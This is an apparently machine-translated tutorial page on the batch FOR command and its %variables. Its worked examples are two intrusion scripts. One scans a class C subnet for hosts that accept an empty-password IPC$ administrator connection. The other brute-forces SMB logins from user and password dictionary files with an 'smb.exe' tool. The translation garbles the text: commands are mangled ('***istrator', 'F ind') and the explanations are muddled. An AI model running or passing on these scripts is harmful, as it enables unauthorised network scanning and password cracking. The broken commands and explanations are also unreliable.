Coding With Fun
Home Docker Django Node.js Articles Python pip guide FAQ Policy

Attached: Batch commands and variables


May 23, 2021 DOS Command learning manual



Attached: Batch commands and variables


1: for commands and variables Basic format:

FOR/parameter %variable IN (set) DO command (command_parameters) %variable: Specify a single-letter replaceable parameter, such as %i, and specify a variable with :%%i and call the variable with %i%, which is case-sensitive (%i is not equal to %I).

There are 10 variables that can be processed from %0-%9 at a time, of which %0 defaults to the batch file name, %1 defaults to the first value entered when using this batch, the same way: %2-%9 refers to the 2-9th value entered;


(set): Specify one or a set of files that can use wildcards such as: (D: user.txt) and (1 1 254) (1 -1 254), "(1 1 254)" First "1" refers to the starting value, the second "1" refers to the amount of growth, and the third "254" refers to the end value, i.e. from 1 to 254;


command: Specifies the command to execute on the first file, such as the net use command, and if you want to execute more than one command, the command is separated by:

command_parameters: Specify parameters or command-line switches for a specific command


IN (set): refers to the value taken in (set);


Argument: /L refers to when the incremental form is incremental, and /F refers to the constant value taken from the file until the end of the file, such as when the (d:\pass.txt) is the file.

Examples of usage:

@echo off

Echo usage format: .bat the test .txt


for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | F ind "Command Completes Successfully" and "Test.txt

Save as test.bat Description: For the specified class C network segment of 254 IPs in turn try to establish an IPC$connection with an empty password, if successful, the IP is in the test .txt.


/L means incremental (i.e. from 1-254 or 254-1); Used to separate the two commands, echo and net use; | refers to the starting value, the amount of growth, and the closing value, which is used in the results to see if there is "command completed successfully" information.

@echo off

Echo usage format: ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

Save as: ok.exe Description: After entering an IP, use the dictionary file d:\pass.dic to solve the user password in d:\user.dic until the value in the file is finished. %%i is the user name, and %1 is the IP address entered (default).